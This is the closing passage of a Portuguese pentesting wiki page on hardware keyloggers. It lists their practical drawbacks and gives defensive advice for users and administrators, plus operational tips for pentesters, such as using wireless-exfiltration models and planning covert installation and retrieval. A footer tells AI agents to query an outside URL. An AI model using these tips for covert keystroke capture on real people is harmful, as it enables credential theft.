Desafios:
❌ Requer acesso físico (instalação e recuperação)
❌ Pode ser detectado por inspeção visual
❌ Risco de danos ao equipamento
❌ Logística de recuperação de dados
```
### **Recomendações Finais**
1. **Para Usuários/Organizações**
* Inspecionar visualmente cabos e portas USB
* Implementar política de "clean desk"
* Usar autenticação de dois fatores (2FA)
* Utilizar gerenciadores de senhas com auto-tipo
* Realizar auditorias físicas periódicas
2. **Para Administradores de Segurança**
* Implementar bloqueio de portas USB não utilizadas
* Utilizar software de monitoramento de dispositivos USB
* Manter inventário atualizado de hardware
* Treinar equipe sobre riscos de keyloggers físicos
3. **Para Pentesters**
* Combinar hardware keyloggers com outras técnicas
* Planejar logística de instalação e recuperação
* Usar modelos com exfiltração wireless para reduzir riscos
* Documentar tempo de instalação e remoção
---
# Agent Instructions: Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter:
```
GET https://0xmorte.gitbook.io/bibliadopentestbr/tecnicas/hardware/hardware-keyloggers.md?ask=
```
The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.